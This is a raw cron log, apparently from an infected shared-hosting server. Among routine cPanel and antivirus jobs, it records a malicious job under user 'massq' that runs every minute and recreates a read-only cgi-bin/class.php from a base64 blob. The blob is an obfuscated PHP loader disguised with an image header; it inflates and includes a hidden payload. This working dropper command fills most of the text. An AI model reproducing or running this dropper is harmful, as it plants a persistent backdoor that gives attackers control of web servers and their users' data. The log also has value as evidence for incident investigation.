Aug 31 09:50:01 server CROND[32175]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:50:01 server CROND[32177]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 09:50:01 server CROND[32178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:50:01 server CROND[32185]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 09:50:01 server CROND[32183]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 09:50:01 server CROND[32186]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 09:51:01 server CROND[770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:51:01 server CROND[769]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:51:01 server CROND[771]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:52:02 server CROND[1289]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:52:02 server CROND[1290]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:52:02 server CROND[1291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:53:01 server CROND[1683]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:53:01 server CROND[1684]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:53:01 server CROND[1685]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:54:01 server CROND[2203]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:54:01 server CROND[2205]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:54:01 server CROND[2204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:55:01 server CROND[2741]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 09:55:01 server CROND[2743]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 09:55:01 server CROND[2742]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:55:01 server CROND[2745]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:55:01 server CROND[2746]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 09:55:01 server CROND[2744]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 09:55:01 server CROND[2748]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:56:01 server CROND[3588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:56:01 server CROND[3589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:56:01 server CROND[3590]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:57:01 server CROND[3993]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:57:01 server CROND[3994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:57:01 server CROND[3995]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 09:57:01 server CROND[3996]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:58:01 server CROND[4387]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:58:01 server CROND[4388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:58:01 server CROND[4389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 09:59:01 server CROND[4865]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 09:59:01 server CROND[4866]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 09:59:01 server CROND[4864]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:00:01 server CROND[5269]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 31 10:00:01 server CROND[5270]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 10:00:01 server CROND[5271]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 10:00:01 server CROND[5273]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 10:00:01 server CROND[5277]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 10:00:01 server CROND[5283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:00:01 server CROND[5284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:00:01 server CROND[5287]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 10:00:01 server CROND[5286]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Aug 31 10:00:01 server CROND[5288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 10:01:01 server CROND[6154]: (root) CMD (run-parts /etc/cron.hourly)
Aug 31 10:01:01 server CROND[6155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 10:01:01 server CROND[6156]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 10:01:01 server CROND[6157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2